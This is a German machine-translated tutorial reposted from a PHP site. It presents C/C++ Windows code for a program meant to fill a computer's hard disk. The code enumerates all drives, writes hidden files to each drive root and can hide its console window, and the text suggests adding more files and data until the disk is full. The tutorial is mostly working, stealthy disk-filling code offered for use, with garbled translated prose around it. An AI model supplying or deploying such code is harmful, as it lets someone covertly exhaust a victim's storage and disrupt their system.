Heim  >  Artikel  >  Backend-Entwicklung  >  C/C++ schreibt problemlos Programme, die die Festplatte füllen können

C/C++ schreibt problemlos Programme, die die Festplatte füllen können

黄舟
黄舟Original
2017-01-22 14:15:071979Durchsuche

Über das Schreiben eines Programms, das die Festplatte füllen kann

Lassen Sie uns zuerst über die Idee nachdenken:

Schritt 1: Holen Sie sich den logischen Laufwerksbuchstaben

Schritt 2: Erstellen Sie eine Datei

Schritt 3: Daten in die Datei schreiben

Erweiterungsvoraussetzungen:

Eins: Fenster ausblenden

Zweiten: Die Datei auf ausgeblendet setzen Attribut


Nachfolgend stellen wir eine API für die oben genannten Ideen vor und geben den Quellcode nach Annahme an


GetLogicalDriveStrings-Funktion

Füllt einen Puffer mit Zeichenfolgen, die gültige Laufwerke im System angeben.

DWORD WINAPI GetLogicalDriveStrings(  
  _In_  DWORD  nBufferLength,  
  _Out_ LPTSTR lpBuffer  
);

C/C++ schreibt problemlos Programme, die die Festplatte füllen können

Diese Funktion liest die verfügbaren Festplatten im System in lpBuffer

Bei Erfolg die erhaltene Gesamtlänge zurückgeben

Es gibt zwei Fehlerfälle: Zum einen ist der Puffer nicht lang genug und zum anderen sind es andere Probleme


Über andere API-Funktionen sind relativ einfach, und einige Funktionen sind aus der Bedeutung des Namens bekannt. Es gibt auch Kommentare im Quellcode >Sehen Sie sich den Quellcode unten an.

Legen Sie die Dateibrowser-Eigenschaften fest:
#include <Windows.h>  
  
int main()  
{  
    //FreeConsole();    //隐藏控制台  
  
    char strDriveStrings[MAXBYTE] = { 0 };  
  
    //获取逻辑地址  
    DWORD dwDriveStrLen = GetLogicalDriveStringsA(MAXBYTE, strDriveStrings);  
  
    for (size_t i = 0; i < dwDriveStrLen; i += 4)    //每4个字节表示一个盘符               
    {  
        char strTargetPath[MAX_PATH] = { 0 }, strRoot[4] = { 0 };  
        strncpy_s(strRoot,&strDriveStrings[i], 4);  
        strcpy_s(strTargetPath, strRoot);  
  
        //创建100个文件  
        for (int j = 0; j < 100; j++)  
        {  
            char TempStrTargetPath[MAX_PATH];  
            strcpy_s(TempStrTargetPath, strTargetPath);  
            char FileName[MAXBYTE];  
            char Date[MAXBYTE] = "11111";  
            wsprintf(FileName, "%d.txt", j);  
            strcat_s(TempStrTargetPath, FileName);  
  
            //创建文件  
            HANDLE hFile;  
            hFile = CreateFileA(TempStrTargetPath, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);  
            if (hFile == INVALID_HANDLE_VALUE)  
                continue;  
            DWORD Pointer;  
  
            //写入数据  
            WriteFile(hFile, &Date, strlen(Date), &Pointer, NULL);  
            CloseHandle(hFile);  
  
            //将s所指向的某一块内存中的前n个 字节的内容全部设置为ch指定的ASCII值  
            memset(FileName, 0, sizeof(FileName));  
  
            //设置为隐藏  
            SetFileAttributesA(TempStrTargetPath, FILE_ATTRIBUTE_HIDDEN);  
        }  
          
    }  
    return 0;  
}

C/C++ schreibt problemlos Programme, die die Festplatte füllen könnenDie laufenden Ergebnisse sind wie folgt:

C/C++ schreibt problemlos Programme, die die Festplatte füllen könnenWenn folgende Probleme auftreten:

C/C++ schreibt problemlos Programme, die die Festplatte füllen könnenÄndern Sie den Zeichensatz wie folgt:

C/C++ schreibt problemlos Programme, die die Festplatte füllen könnenSolange Sie also noch ein paar Dateien und Daten erstellen, wird die Festplatte gefüllt

Das Obige ist der Inhalt von C/C++, mit dem Sie problemlos Programme schreiben können, die die Festplatte füllen können Für verwandten Inhalt beachten Sie bitte die chinesische PHP-Website (www.php.cn)!

Stellungnahme:
Der Inhalt dieses Artikels wird freiwillig von Internetnutzern beigesteuert und das Urheberrecht liegt beim ursprünglichen Autor. Diese Website übernimmt keine entsprechende rechtliche Verantwortung. Wenn Sie Inhalte finden, bei denen der Verdacht eines Plagiats oder einer Rechtsverletzung besteht, wenden Sie sich bitte an admin@php.cn